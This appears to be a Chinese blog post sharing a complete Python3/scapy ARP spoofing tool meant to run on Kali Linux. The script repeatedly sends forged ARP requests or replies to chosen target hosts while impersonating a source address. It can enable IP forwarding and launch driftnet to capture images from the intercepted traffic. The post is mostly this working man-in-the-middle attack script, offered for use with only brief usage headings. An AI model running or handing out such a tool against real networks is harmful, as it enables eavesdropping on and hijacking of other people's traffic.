python的arp欺骗_Python3 小工具-ARP欺骗

在kali中使用

from scapy.all import *

import optparse

import os

def send(pkt,interface):

for p in pkt:

sendp(p,iface=interface)

def req(targets,source):

for target in targets:

tr_mac=getmacbyip(target)

pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)

yield pkt

def rep(targets,source):

for target in targets:

tr_mac=getmacbyip(target)

pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)

yield pkt

def main():

parser=optparse.OptionParser('%prog '+"[+]-i [+]-t [+]-s [+]-m [+]-r ")

parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')

parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')

parser.add_option('-s',dest='source',type='string',help='[+]Source host')

parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')

parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')

(options,args)=parser.parse_args()

interface=options.interface

targets=str(options.targets).split(',')

source=options.source

mode=options.mode

transmit=options.transmit

if((targets[0]==None) or (source==None)):

print('[-]Please input targets and source')

exit(0)

if(transmit=='yes'):

os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')

os.system("gnome-terminal -- driftnet -i "+interface)

if(mode=='req'):

print('----------------')

try:

while True:

pkt=req(targets,source)

send(pkt,interface)

except KeyboardInterrupt:

print('---------------')

os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')

print('Finished')

else:

print('-----------------')

try:

while True:

pkt=rep(targets,source)

send(pkt,interface)

except KeyboardInterrupt:

print('---------------')

os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')

print('Finished!')

if __name__=='__main__':

main()

使用说明

开始程序

转发成功

标签:ARP,parser,pkt,print,source,interface,欺骗,targets,Python3

来源: https://www.cnblogs.com/zmqqq/p/10517149.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值